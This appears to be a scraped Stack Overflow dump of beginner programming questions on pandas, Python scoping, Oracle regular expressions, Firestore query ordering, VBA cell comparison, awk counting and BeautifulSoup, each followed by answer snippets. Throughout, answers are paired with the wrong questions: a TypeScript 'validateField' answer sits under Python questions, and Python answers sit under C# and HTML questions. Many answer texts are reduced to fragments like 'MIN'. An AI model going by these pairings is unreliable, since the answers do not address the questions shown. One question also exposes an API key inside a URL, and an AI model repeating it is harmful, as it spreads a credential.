"text": "function validateField<key extends keyof typeof fns>(where: string, fn: key, ...options: Parameters<typeof fns[key]>): boolean {\n const fnToCall = fns[fn];\n return fnToCall(...options);\n}\n"
},
{
"answer_id": 74469017,
"author": "jcalz",
"author_id": 2887218,
"author_profile": "https://Stackoverflow.com/users/2887218",
"pm_score": 3,
"selected": true,
"text": "validateField()"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467106",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18235122/"
] |
74,467,111
|
<p>I need to write a function that calculates the age category, so this is the function :</p>
<pre><code>def age_category(dob_years):
if dob_years < 0 or pd.isna(dob_years):
return 'NA'
elif dob_years < 20:
return '10-19'
elif dob_years < 30:
return '20-29'
elif dob_years < 40:
return '30-39'
elif dob_years < 50:
return '40-49'
elif dob_years < 60:
return '50-59'
elif dob_years < 70:
return '60-69'
else:
return '70+'
</code></pre>
<p>I checked the function it works
but when I try to create a new column :</p>
<pre><code>credit_scoring['age_group']= credit_scoring.apply(age_category, axis=1)
</code></pre>
<p>I have this error :</p>
<pre><code>TypeError: '<' not supported between instances of 'str' and 'int'
</code></pre>
<p>actually, i am new in python i don't know what to do
pls help what is wrong with the code ?
thanks for your time :)</p>
|
[
{
"answer_id": 74467562,
"author": "iddar",
"author_id": 10660145,
"author_profile": "https://Stackoverflow.com/users/10660145",
"pm_score": 0,
"selected": false,
"text": "function validateField<key extends keyof typeof fns>(where: string, fn: key, ...options: Parameters<typeof fns[key]>): boolean {\n const fnToCall = fns[fn];\n return fnToCall(...options);\n}\n"
},
{
"answer_id": 74469017,
"author": "jcalz",
"author_id": 2887218,
"author_profile": "https://Stackoverflow.com/users/2887218",
"pm_score": 3,
"selected": true,
"text": "validateField()"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467111",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523728/"
] |
74,467,118
|
<p>I have two lists :</p>
<pre><code>a = [3, 8, 5, 1, 4, 7, 1, 3, 6, 8, 2, 1, 3, 5, 7, 0]
key = [1, 2, 4, 6]
</code></pre>
<p>I want to check if all elements in the <code>key</code> have atleast once appeared in the list <code>a</code> and remove the ones after that.</p>
<p>desired output :</p>
<pre><code>a = [3, 8, 5, 1, 4, 7, 1, 3, 6, 8, 2]
</code></pre>
<p>here is what i tried:</p>
<pre><code>if a[-1] not in key:
indx = -1
while indx < 0:
if a[indx] in k:
ind = indx
indx = 1
else: indx= indx-1
a = a[:ind+1]
</code></pre>
<p>but this just check if the last element of <code>a</code> is in <code>key</code>. Idk how to check for the condition if all the key elements have appeared atleast once. Can some help ?</p>
|
[
{
"answer_id": 74467562,
"author": "iddar",
"author_id": 10660145,
"author_profile": "https://Stackoverflow.com/users/10660145",
"pm_score": 0,
"selected": false,
"text": "function validateField<key extends keyof typeof fns>(where: string, fn: key, ...options: Parameters<typeof fns[key]>): boolean {\n const fnToCall = fns[fn];\n return fnToCall(...options);\n}\n"
},
{
"answer_id": 74469017,
"author": "jcalz",
"author_id": 2887218,
"author_profile": "https://Stackoverflow.com/users/2887218",
"pm_score": 3,
"selected": true,
"text": "validateField()"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467118",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15874123/"
] |
74,467,137
|
<p>I have been taking this class for a bit with python for a bit and I have stumbled into a problem where any time I try to "def" a function, it says that it is not defined, I have no idea what I am doing wrong and this has become so frustrating.</p>
<pre><code># Define main
def main():
MIN = -100
MAX = 100
LIST_SIZE = 10
#Create empty list named scores
scores = []
# Create a loop to fill the score list
for i in range(LIST_SIZE):
scores.append(random.randint(MIN, MAX))
#Print the score list
print(scores)
print("Highest Value: " + str(findHighest(scores)))
</code></pre>
<p>Every time I try to test run this, I get</p>
<blockquote>
<p>"builtins.NameError" name 'LIST SIZE' is not defined.</p>
</blockquote>
<p>I cant take out the main function! It's required for the assignment, and even if I take it out I still run into errors.</p>
|
[
{
"answer_id": 74467187,
"author": "Trooper Z",
"author_id": 9190768,
"author_profile": "https://Stackoverflow.com/users/9190768",
"pm_score": 3,
"selected": true,
"text": "MIN"
},
{
"answer_id": 74467259,
"author": "Jamiu Shaibu",
"author_id": 19290081,
"author_profile": "https://Stackoverflow.com/users/19290081",
"pm_score": 1,
"selected": false,
"text": "import random\n\n# Define main\ndef main():\n MIN = -100\n MAX = 100\n LIST_SIZE = 10\n #Create empty list named scores\n scores = []\n # Create a loop to fill the score list\n for i in range(LIST_SIZE): \n scores.append(random.randint(MIN, MAX))\n #Print the score list\n print(scores) \n print(\"Highest Value: \" + str(findHighest(scores)))\nmain()\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467137",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523979/"
] |
74,467,169
|
<p>I construct the below query to display data from Json.
Assume this query returns 50 rows. But I want only first 10 rows to be displayed.<br />
What is the equivalent of <code>select top 10</code> or <code>limit 10</code> in this scenario. Thank you.</p>
<pre><code>List<Item> result = items.GroupBy(x => x.ItemNo)
.Select(x => new Item
{
ItemNo = x.Key,
ItemName = x.FirstOrDefault(y => y.Key == "ItemName")?.Value,
Date = x.FirstOrDefault(y => y.Key == "Date")?.Value
}).OrderByDescending(y => y.date)
.ToList();
</code></pre>
|
[
{
"answer_id": 74467187,
"author": "Trooper Z",
"author_id": 9190768,
"author_profile": "https://Stackoverflow.com/users/9190768",
"pm_score": 3,
"selected": true,
"text": "MIN"
},
{
"answer_id": 74467259,
"author": "Jamiu Shaibu",
"author_id": 19290081,
"author_profile": "https://Stackoverflow.com/users/19290081",
"pm_score": 1,
"selected": false,
"text": "import random\n\n# Define main\ndef main():\n MIN = -100\n MAX = 100\n LIST_SIZE = 10\n #Create empty list named scores\n scores = []\n # Create a loop to fill the score list\n for i in range(LIST_SIZE): \n scores.append(random.randint(MIN, MAX))\n #Print the score list\n print(scores) \n print(\"Highest Value: \" + str(findHighest(scores)))\nmain()\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467169",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16732381/"
] |
74,467,178
|
<p>I'm analyzing club participation. Getting data as json through url request. This is the json I get and load with <code>json_loads</code>:</p>
<pre><code>df = [{"club_id":"1234", "sum_totalparticipation":227, "level":1, "idsubdatatable":1229, "segment": "club_id==1234;eventName==national%2520participation,eventName==local%2520partipation,eventName==global%2520participation", "subtable":[{"label":"national participation", "sum_events_totalevents":105,"level":2},{"label":"local participation","sum_events_totalevents":100,"level":2},{"label":"global_participation","sum_events_totalevents":22,"level":2}]}]
</code></pre>
<p>when I use json_normalize, this is how df looks:</p>
<p><a href="https://i.stack.imgur.com/4ie22.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4ie22.png" alt="normalized data frame" /></a></p>
<p>so, specific participations are aggregated and only sum is available, and I need them flatten, with global/national/local participation in separate rows.
Can you help by providing code?</p>
|
[
{
"answer_id": 74467630,
"author": "Guillaume BEDOYA",
"author_id": 20522241,
"author_profile": "https://Stackoverflow.com/users/20522241",
"pm_score": -1,
"selected": false,
"text": "\"segment\":\"club_id==1234"
},
{
"answer_id": 74468153,
"author": "Guillaume BEDOYA",
"author_id": 20522241,
"author_profile": "https://Stackoverflow.com/users/20522241",
"pm_score": 0,
"selected": false,
"text": "...\n \ndf = pd.DataFrame(*data)\n\nfor i in range(len(df)):\n df.loc[i, 'label'] = df.loc[i, 'subtable']['label']\n df.loc[i, 'sum_events_totalevents'] = df.loc[i, 'subtable']['sum_events_totalevents']\n df.loc[i, 'sublevel'] = int(df.loc[i, 'subtable']['level'])\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467178",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18352649/"
] |
74,467,193
|
<p>Like if I have a string "123456,852369,7852159,1596357"
The out put looking for "1234,8523,7852,1596"</p>
<p>Requirement is....we want to collect 4 char after every ',' separator</p>
<p>like split, substring and again concat</p>
<pre><code>select
REGEXP_REPLACE('MEDA,MEDA,MEDA,MEDA,MEDA,MEDA,MEDA,MEDA,MDCB,MDCB,MDCB,MDCB,MDCB,MDCB', '([^,]+)(,\1)+', '\1')
from dual;
</code></pre>
|
[
{
"answer_id": 74467300,
"author": "GMB",
"author_id": 10676716,
"author_profile": "https://Stackoverflow.com/users/10676716",
"pm_score": 1,
"selected": false,
"text": "regexp_replace"
},
{
"answer_id": 74467363,
"author": "Littlefoot",
"author_id": 9097906,
"author_profile": "https://Stackoverflow.com/users/9097906",
"pm_score": 0,
"selected": false,
"text": "SQL> with test (col) as\n 2 (select '123456,852369,7852159,1596357' from dual)\n 3 select listagg(regexp_substr(col, '[^,]{4}', 1, level), ',')\n 4 within group (order by level) result\n 5 from test\n 6 connect by level <= regexp_count(col, ',') + 1;\n\nRESULT\n--------------------------------------------------------------------------------\n1234,8523,7852,1596\n\nSQL>\n"
},
{
"answer_id": 74467692,
"author": "Thorsten Kettner",
"author_id": 2270762,
"author_profile": "https://Stackoverflow.com/users/2270762",
"pm_score": 0,
"selected": false,
"text": "REGEX_REPLACE"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467193",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6081356/"
] |
74,467,196
|
<p>Hey I was wondering if there is a way that you can make the user choose a colour/color with the options that you give them? I know there is a way to let user select a color/colour of thier choices but is there a way that you give the user only three options that change the background colour/color? for instance let say I want the user to only have the choice between black and blue how would I code this?</p>
<p>This is what I tried:</p>
<p>HTML Page:</p>
<pre><code><div class="colour selector">
Pick a color <input onchange="colorSelected(this)" type="color">
</div>
</code></pre>
<p>JavaScript Page:</p>
<pre><code>function colorSelected (element) {
document.body.style.background = element.value
}
</code></pre>
<p>But i want to be able to give the user limted options like only three colours (red, blue & yellow)</p>
|
[
{
"answer_id": 74467300,
"author": "GMB",
"author_id": 10676716,
"author_profile": "https://Stackoverflow.com/users/10676716",
"pm_score": 1,
"selected": false,
"text": "regexp_replace"
},
{
"answer_id": 74467363,
"author": "Littlefoot",
"author_id": 9097906,
"author_profile": "https://Stackoverflow.com/users/9097906",
"pm_score": 0,
"selected": false,
"text": "SQL> with test (col) as\n 2 (select '123456,852369,7852159,1596357' from dual)\n 3 select listagg(regexp_substr(col, '[^,]{4}', 1, level), ',')\n 4 within group (order by level) result\n 5 from test\n 6 connect by level <= regexp_count(col, ',') + 1;\n\nRESULT\n--------------------------------------------------------------------------------\n1234,8523,7852,1596\n\nSQL>\n"
},
{
"answer_id": 74467692,
"author": "Thorsten Kettner",
"author_id": 2270762,
"author_profile": "https://Stackoverflow.com/users/2270762",
"pm_score": 0,
"selected": false,
"text": "REGEX_REPLACE"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467196",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20401157/"
] |
74,467,215
|
<p>Does Docker alpine image support openjdk19. If yes how do we install openjdk19 using Docker alpine image 3.16.2. I am able to install openjdk11 but not openjdk19.</p>
|
[
{
"answer_id": 74467300,
"author": "GMB",
"author_id": 10676716,
"author_profile": "https://Stackoverflow.com/users/10676716",
"pm_score": 1,
"selected": false,
"text": "regexp_replace"
},
{
"answer_id": 74467363,
"author": "Littlefoot",
"author_id": 9097906,
"author_profile": "https://Stackoverflow.com/users/9097906",
"pm_score": 0,
"selected": false,
"text": "SQL> with test (col) as\n 2 (select '123456,852369,7852159,1596357' from dual)\n 3 select listagg(regexp_substr(col, '[^,]{4}', 1, level), ',')\n 4 within group (order by level) result\n 5 from test\n 6 connect by level <= regexp_count(col, ',') + 1;\n\nRESULT\n--------------------------------------------------------------------------------\n1234,8523,7852,1596\n\nSQL>\n"
},
{
"answer_id": 74467692,
"author": "Thorsten Kettner",
"author_id": 2270762,
"author_profile": "https://Stackoverflow.com/users/2270762",
"pm_score": 0,
"selected": false,
"text": "REGEX_REPLACE"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467215",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5568989/"
] |
74,467,220
|
<p>I have a simple <code>posts</code> collection in Firestore with a <code>created</code> field set as a <code>Firestore Timestamp</code> at the time of document creation. Id like to query these documents and display them in descending order, i.e., <code>orderBy("created","desc")</code></p>
<p>However, each document has a user record in the <code>creator</code> field stored as a <code>docRef</code>. In order to display the posts correctly, I need to retrieve the user record for each post, and I'm using <code>getDoc</code> inside the <code>forEach</code> where I process results:</p>
<pre><code>let posts = [];
const getLatestPosts = async () => {
const pq = query(collection(db, "posts"), orderBy("created","desc"), limit(10));
const querySnapshot = await getDocs(pq);
querySnapshot.forEach( async (postDoc) => {
var post = postDoc.data();
console.log(post) //logged in correct order
//get the creator
const userDoc = await getDoc(post.creator);
post.creator = userDoc.data();
}
posts.push(post);
});
console.log(posts) //out of order due to creator query
}
</code></pre>
<p>Is there a way to use Promises or some other mechanism to guarantee the order of the result set after the forEach finishes?</p>
<p>I can't just add the user info into the Post document at create time since things like image and display name could get out of sync. So I guess this is really more of a Javascript question than something specific to Firestore, but context matters I think.</p>
|
[
{
"answer_id": 74467416,
"author": "Frank van Puffelen",
"author_id": 209103,
"author_profile": "https://Stackoverflow.com/users/209103",
"pm_score": 3,
"selected": true,
"text": "post"
},
{
"answer_id": 74467578,
"author": "sleepystar96",
"author_id": 9824103,
"author_profile": "https://Stackoverflow.com/users/9824103",
"pm_score": 1,
"selected": false,
"text": "querySnapshot.docs"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467220",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/394422/"
] |
74,467,226
|
<p>I have the following pandas DataFrame (without the last column):</p>
<pre><code> name day show-in-appointment previous-missed-appointments
0 Jack 2020/01/01 show 0
1 Jack 2020/01/02 no-show 0
2 Jill 2020/01/02 no-show 0
3 Jack 2020/01/03 show 1
4 Jill 2020/01/03 show 1
5 Jill 2020/01/04 no-show 1
6 Jack 2020/01/04 show 1
7 Jill 2020/01/05 show 2
8 jack 2020/01/06 no-show 1
9 jack 2020/01/07 show 2
</code></pre>
<p>I want to add the last column as the cumulative sum of no-show appointments (sum of previous no-shows for each person).
<strong>for each person in the new column that is called (previous-missed-appointments), it should start from 0.</strong></p>
<p>Here is the data for easier reproducibility:</p>
<pre class="lang-py prettyprint-override"><code>
df = pd.DataFrame(
data=np.asarray([
['Jack', 'Jack', 'Jill', 'Jack', 'Jill', 'Jill', 'Jack', 'Jill', 'jack', 'jack'],
[
'2020/01/01',
'2020/01/02',
'2020/01/02',
'2020/01/03',
'2020/01/03',
'2020/01/04',
'2020/01/04',
'2020/01/05',
'2020/01/06',
'2020/01/07',
],
['show', 'no-show', 'no-show', 'show', 'show', 'no-show', 'show', 'show', 'no-show', 'show'],
]).T,
columns=['name', 'day', 'show-in-appointment'],
)
</code></pre>
<p>I tried various combos of <code>df.groupby</code> and <code>df.agg(lambda x: cumsum(x))</code> to no avail.</p>
|
[
{
"answer_id": 74467599,
"author": "PTQuoc",
"author_id": 11850322,
"author_profile": "https://Stackoverflow.com/users/11850322",
"pm_score": 0,
"selected": false,
"text": "groupby"
},
{
"answer_id": 74467848,
"author": "Filip",
"author_id": 10258933,
"author_profile": "https://Stackoverflow.com/users/10258933",
"pm_score": 2,
"selected": true,
"text": "import pandas as pd\n\ndf.name = df.name.str.capitalize()\ndf['order'] = df.index\ndf.day = pd.to_datetime(df.day)\ndf['noshow'] = df['show-in-appointment'].map({'show': 0, 'no-show': 1})\ndf = df.sort_values(by=['name', 'day'])\ndf['previous-missed-appointments'] = df.groupby('name').noshow.cumsum()\ndf.loc[df.noshow == 1, 'previous-missed-appointments'] -= 1\ndf = df.sort_values(by='order')\ndf = df.drop(columns=['noshow', 'order'])\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467226",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20523456/"
] |
74,467,236
|
<p>I am converting this to a Typescript Service for our React web application. Below is the Original API in Java. What is the Typescript Response data type? Blob?</p>
<pre><code>@GET
@Path("/{vendorId}/Photo}")
@Produces("image/png")
byte[] getVendorPhoto(@PathVariable long vendorId);
</code></pre>
|
[
{
"answer_id": 74467599,
"author": "PTQuoc",
"author_id": 11850322,
"author_profile": "https://Stackoverflow.com/users/11850322",
"pm_score": 0,
"selected": false,
"text": "groupby"
},
{
"answer_id": 74467848,
"author": "Filip",
"author_id": 10258933,
"author_profile": "https://Stackoverflow.com/users/10258933",
"pm_score": 2,
"selected": true,
"text": "import pandas as pd\n\ndf.name = df.name.str.capitalize()\ndf['order'] = df.index\ndf.day = pd.to_datetime(df.day)\ndf['noshow'] = df['show-in-appointment'].map({'show': 0, 'no-show': 1})\ndf = df.sort_values(by=['name', 'day'])\ndf['previous-missed-appointments'] = df.groupby('name').noshow.cumsum()\ndf.loc[df.noshow == 1, 'previous-missed-appointments'] -= 1\ndf = df.sort_values(by='order')\ndf = df.drop(columns=['noshow', 'order'])\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467236",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15435022/"
] |
74,467,267
|
<pre class="lang-vb prettyprint-override"><code>Option Explicit
Sub CompareValues()
Dim ws1 As Worksheet, ws2 As Worksheet
Dim ws1EndRow As Long, ws2EndRow As Long, i As Long
Dim dbAMarca As String, dbASubGrupo As String
Dim dbAQtddVendas As Range, dbAValorVendas As Range
Dim dbAQtddEstoque As Range, dbAValorEstoque As Range
Dim dbBMarca As String, dbBSubGrupo As String
Dim dbBQtddVendas As Range, dbBValorVendas As Range
Dim dbBQtddEstoque As Range, dbBValorEstoque As Range
Set ws1 = Application.Workbooks("1.xlsx").Sheets("Sheet1")
Set ws2 = Application.Workbooks("2.xls").Sheets("Sheet2")
i = 4
ws1EndRow = ws1.UsedRange.Rows(ws1.UsedRange.Rows.Count).Row
While i < ws1EndRow
dbASubGrupo = ws1.Cells(i, "D")
dbAMarca = ws1.Cells(i, "E")
Set dbAQtddVendas = ws1.Cells(i, "F")
Set dbAValorVendas = ws1.Cells(i, "G")
Set dbAQtddEstoque = ws1.Cells(i, "M")
Set dbAValorEstoque = ws1.Cells(i, "O")
dbBSubGrupo = ws2.Cells(i - 1, "H")
dbBMarca = ws2.Cells(i - 1, "J")
Set dbBQtddVendas = ws2.Cells(i - 1, "Q")
Set dbBValorVendas = ws2.Cells(i - 1, "R")
Set dbBQtddEstoque = ws2.Cells(i - 1, "AF")
Set dbBValorEstoque = ws2.Cells(i - 1, "AI")
If Not (StrComp(dbAMarca, dbBMarca, 1) And StrComp(dbASubGrupo, dbBSubGrupo, 1)) Then
ws1.Rows(i).EntireRow.Insert
ws1.Rows(i).EntireRow.Interior.Color = vbRed
ws1.Cells(i, "D").Value = ws2.Cells(i - 1, "H").Value
ws1.Cells(i, "E").Value = ws2.Cells(i - 1, "J").Value
ws1EndRow = ws1.UsedRange.Rows(ws1.UsedRange.Rows.Count).Row
Else
If Not dbAQtddVendas.Value = dbBQtddVendas.Value Then
dbAQtddVendas.Interior.Color = vbYellow
End If
If Not dbAValorVendas.Value = dbBValorVendas.Value Then
dbAValorVendas.Interior.Color = vbYellow
End If
If Not dbAQtddEstoque.Value = dbBQtddEstoque.Value Then
dbAQtddEstoque.Interior.Color = vbYellow
End If
If Not dbAValorEstoque.Value = dbBValorEstoque.Value Then
dbAValorEstoque.Interior.Color = vbYellow
End If
End If
i = i + 1
Wend
End Sub
</code></pre>
<p>The issue seems to be with the string compare, cuz it just creates rows and paints stuff seemingly randomly. I've been debugging stuff for the past 5 hours (I'm new to VBA) and it just doesn't work. The code is supposed to compare string A1 and A2 with string B1 and B2 respectively. If it doesn't match, insert a line, copy B1 and B2 data to A1 and A2 respectively and paint the entire row red, otherwise it'll check if the value inside C1, C2, C3 and C4 is the same as D1, D2, D3 and D4. If yes, do nothing, otherwise paint the C cell with yellow.</p>
|
[
{
"answer_id": 74467617,
"author": "SaintSnowmad",
"author_id": 19998014,
"author_profile": "https://Stackoverflow.com/users/19998014",
"pm_score": 1,
"selected": false,
"text": "If dbAMarca<>dbBMarca and dbASubGrupo<>dbBSubGrupo Then\n"
},
{
"answer_id": 74479419,
"author": "plotwistking",
"author_id": 19098317,
"author_profile": "https://Stackoverflow.com/users/19098317",
"pm_score": 0,
"selected": false,
"text": "Option Explicit\nSub CompareValues()\n\n Dim ws1 As Worksheet, ws2 As Worksheet\n Dim ws1EndRow As Long, ws2EndRow As Long\n Dim i As Long, j As Long, k As Long\n Dim dbAMarca As Range, dbASubGrupo As Range\n Dim dbAQtddVendas As Range, dbAValorVendas As Range\n Dim dbAQtddEstoque As Range, dbAValorEstoque As Range\n Dim dbBMarca As Range, dbBSubGrupo As Range\n Dim dbBQtddVendas As Range, dbBValorVendas As Range\n Dim dbBQtddEstoque As Range, dbBValorEstoque As Range\n\n Set ws1 = Application.Workbooks(\"1.xlsx\").Sheets(\"Sheet1\")\n Set ws2 = Application.Workbooks(\"2.xls\").Sheets(\"Sheet2\")\n\n i = 4\n j = 0\n k = 0\n \n ws1EndRow = ws1.UsedRange.Rows(ws1.UsedRange.Rows.Count).Row\n\n While i < ws1EndRow\n\n Set dbASubGrupo = ws1.Cells(i, \"D\")\n Set dbAMarca = ws1.Cells(i, \"E\")\n Set dbAQtddVendas = ws1.Cells(i, \"F\")\n Set dbAValorVendas = ws1.Cells(i, \"G\")\n Set dbAQtddEstoque = ws1.Cells(i, \"M\")\n Set dbAValorEstoque = ws1.Cells(i, \"O\")\n\n Set dbBSubGrupo = ws2.Cells(i - 1 - k, \"H\")\n Set dbBMarca = ws2.Cells(i - 1 - k, \"J\")\n Set dbBQtddVendas = ws2.Cells(i - 1 - k, \"Q\")\n Set dbBValorVendas = ws2.Cells(i - 1 - k, \"R\")\n Set dbBQtddEstoque = ws2.Cells(i - 1 - k, \"AF\")\n Set dbBValorEstoque = ws2.Cells(i - 1 - k, \"AI\")\n\n If dbAMarca.Value <> dbBMarca.Value Or dbASubGrupo.Value <> dbBSubGrupo.Value Then\n For j = i To i + 10\n If ws1.Cells(i, \"D\").Value = ws2.Cells(j - k, \"H\").Value And ws1.Cells(i, \"E\").Value = ws2.Cells(j - k, \"J\") Then\n ws1.Rows(i).EntireRow.Insert\n ws1.Rows(i).EntireRow.ClearFormats\n ws1.Rows(i).EntireRow.Interior.Color = vbRed\n ws1.Cells(i, \"D\").Value = ws2.Cells(j - 1 - k, \"H\").Value\n ws1.Cells(i, \"E\").Value = ws2.Cells(j - 1 - k, \"J\").Value\n ws1EndRow = ws1.UsedRange.Rows(ws1.UsedRange.Rows.Count).Row\n Exit For\n End If\n If j = i + 10 Then\n ws1.Rows(i).EntireRow.Interior.Color = vbCyan\n k = k + 1\n End If\n Next\n Else\n If Not dbAQtddVendas.Value = dbBQtddVendas.Value Then\n dbAQtddVendas.Interior.Color = vbYellow\n End If\n If Not dbAValorVendas.Value = dbBValorVendas.Value Then\n dbAValorVendas.Interior.Color = vbYellow\n End If\n If Not dbAQtddEstoque.Value = dbBQtddEstoque.Value Then\n dbAQtddEstoque.Interior.Color = vbYellow\n End If\n If Not dbAValorEstoque.Value = dbBValorEstoque.Value Then\n dbAValorEstoque.Interior.Color = vbYellow\n End If\n End If\n i = i + 1\n Wend\n\nEnd Sub\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467267",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19098317/"
] |
74,467,277
|
<p>==> user.application.2020-01-16-00-00.csv</p>
<pre><code>user1,app1
user1,app2
user2,app1
user3,app1
</code></pre>
<p>==> user.application.2020-01-16-00-30.csv</p>
<pre><code>user1,app1
user2,app1
user2,app4
user10,app2
user10,app1
user4,app5
</code></pre>
<p>I want output like as follows, app followed by distinct number of users</p>
<pre><code>app1,4
app2,2
app4,1
app5,1
</code></pre>
|
[
{
"answer_id": 74468101,
"author": "Walter A",
"author_id": 3220113,
"author_profile": "https://Stackoverflow.com/users/3220113",
"pm_score": 2,
"selected": true,
"text": "awk -F, '{a[$2][$1]} END { for (i in a) { print i \",\" length(a[i]) } }' *.csv"
},
{
"answer_id": 74469532,
"author": "Eric Marceau",
"author_id": 9716110,
"author_profile": "https://Stackoverflow.com/users/9716110",
"pm_score": 0,
"selected": false,
"text": "#!/bin/sh\n\nDBG=0\n\nBASE=`basename \"$0\" \".sh\" `\n\nTEST_INPUT1=\"${BASE}_input_1.txt\"\nTEST_INPUT2=\"${BASE}_input_2.txt\"\n\ncat >\"${TEST_INPUT1}\" <<-!EnDoFiNpUt\nuser1,app1\nuser10,app2\nuser1,app2\nuser2,app1\nuser3,app1\n!EnDoFiNpUt\n\ncat >\"${TEST_INPUT2}\" <<-!EnDoFiNpUt\nuser1,app1\nuser2,app1\nuser2,app5\nuser10,app2\nuser10,app1\nuser4,app4\n!EnDoFiNpUt\n\ncat \"${TEST_INPUT1}\" \"${TEST_INPUT2}\" |\nawk -F \",\" -v dbg=\"${DBG}\" 'BEGIN{\n ### initialize arrays\n split(\"\", apps ) ;\n split(\"\", usage ) ;\n split(\"\", users ) ;\n\n ### initialize arrays counter\n indexApps=0 ;\n indexUsers=0 ;\n}\n{\n if( dbg == 1 ){ print \"\\nLINE: \", $0 ; } ;\n hit=0 ;\n\n if( indexApps == 0 ){\n indexApps=1 ;\n apps[1]=$2 ;\n if( dbg == 1 ){ print \"\\t [0] new app -> \", apps[1] ; } ;\n\n indexUsers=1 ;\n usage[ indexApps, 1 ]=$2 ;\n usage[ indexApps, 2 ]=1 ;\n if( dbg == 1 ){ print \"\\t [0]\", apps[ indexApps ], \" -> \", usage[ indexApps, 2 ] ; } ;\n\n users[ indexApps, 1 ]=indexUsers ;\n users[ indexApps, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [0] users[\", indexApps, \" , \", indexUsers+1 \" ] -> \", users[ indexApps, indexUsers+1 ] ; } ;\n }else{\n for( i=1 ; i <= indexApps ; i++ ){\n if( $2 == apps[i] ){\n hit=1 ;\n if( dbg == 1 ){ print \"\\t [1] users[i,1] = \", users[i,1] ; } ;\n\n hitU=0 ;\n for( j=1 ; j <= users[i, 1] ; j++ ){\n if( users[i,j+1] == $1 ){\n hitU=1 ;\n if( dbg == 1 ){ print \"\\t [1] exists -> \", users[i,j+1] ; } ;\n break ;\n } ;\n } ;\n if( hitU == 0 ){\n if( dbg == 1 ){ print \"\\t [1] Hit: usage BEFORE \", apps[i], \" -> \", usage[i,2] ; } ;\n usage[i,2]++ ;\n if( dbg == 1 ){ print \"\\t [1] Hit: \", apps[i], \" -> \", usage[i,2] ; } ;\n\n indexUsers=users[i,1]+1 ;\n if( dbg == 1 ){ print \"\\t [1] users[i,1] + 1 = \", indexUsers ; } ;\n users[ i, 1 ]= indexUsers ;\n users[ i, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [1] users[\", i, \" , \", indexUsers+1 \" ] -> \", users[ i, indexUsers+1 ] ; } ;\n } ;\n break ;\n } ;\n } ;\n\n if( hit == 0 ){\n if( dbg == 1 ){ print \"\\t [2] NO hit ------------------------------- START\" ; } ;\n indexApps++ ;\n apps[ indexApps ]=$2 ;\n if( dbg == 1 ){ print \"\\t [2] new app -> \", apps[ indexApps ] ; } ;\n\n usage[ indexApps, 1 ]=$2 ;\n usage[ indexApps, 2 ]=1 ;\n if( dbg == 1 ){ print \"\\t [2]\", apps[ indexApps ], \" -> \", usage[ indexApps, 2 ] ; } ;\n\n indexUsers=users[ indexApps, 1 ]+1 ;\n if( dbg == 1 ){ print \"\\t [2] users[ indexApps, 1 ] + 1 = \", indexUsers ; } ;\n users[ indexApps, 1 ]= indexUsers ;\n users[ indexApps, indexUsers+1 ]=$1 ;\n if( dbg == 1 ){ print \"\\t [2] users[\", indexApps, \" , \", indexUsers+1 \" ] -> \", users[ indexApps, iindexUsers+1 ] ; } ;\n if( dbg == 1 ){ print \"\\t [2] NO hit ------------------------------- END\" ; } ;\n } ;\n } ;\n}END{\n print \"Application Usage:\" ;\n for( i=1 ; i <= indexApps ; i++ ){\n printf(\" %s = %3d\\t\", usage[i,1], usage[i,2] ) ;\n for( j=1 ; j <= users[i,1] ; j++ ){\n printf(\"\\t%s\", users[i,j+1] ) ;\n if( j > 10 ){ break ; } ;\n } ;\n print \"\" ;\n } ;\n}'\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74467277",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4234352/"
] |
74,467,316
|
<pre><code>from bs4 import BeautifulSoup
import fake_useragent
import requests
ua = fake_useragent.UserAgent()
import soupsieve as sv
url = "https://search-maps.yandex.ru/v1/?text=%D0%9F%D0%BE%D1%87%D1%82%D0%B0%20%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D0%B8,%20%D0%9A%D1%80%D0%B0%D1%81%D0%BD%D0%BE%D0%B4%D0%B0%D1%80&results=500&type=biz&lang=ru_RU&apikey=d9168899-cf24-452a-95cf-06d7ac5a982b"
r = requests.get(url, headers={"User-Agent": ua.random})
soup = BeautifulSoup(r.text, 'lxml')
print(soup.find("p"))
</code></pre>
<p>i want to choose from this list only two properties like "boundedBy" and "coordinates"
How can i do it?I ve checked the whole bs documentation, but didnt find a solution</p>
|
[
{
"answer_id": 74468101,
"author": "Walter A",
"author_id": 3220113,
"author_profile": "https://Stackoverflow.com/users/3220113",
"pm_score": 2,
"selected": true,
"text": "awk -F, '{a[$2][$1]} END { for (i in a) { print i \",\" length(a[i]) } }' *.csv"
},
{
"answer_id": 74469532,
"author": "Eric Marceau",
"author_id": 9716110,
"author_profile": "https://Stackoverflow.com/users/9716110",
"pm_score": 0,
"selected": false,
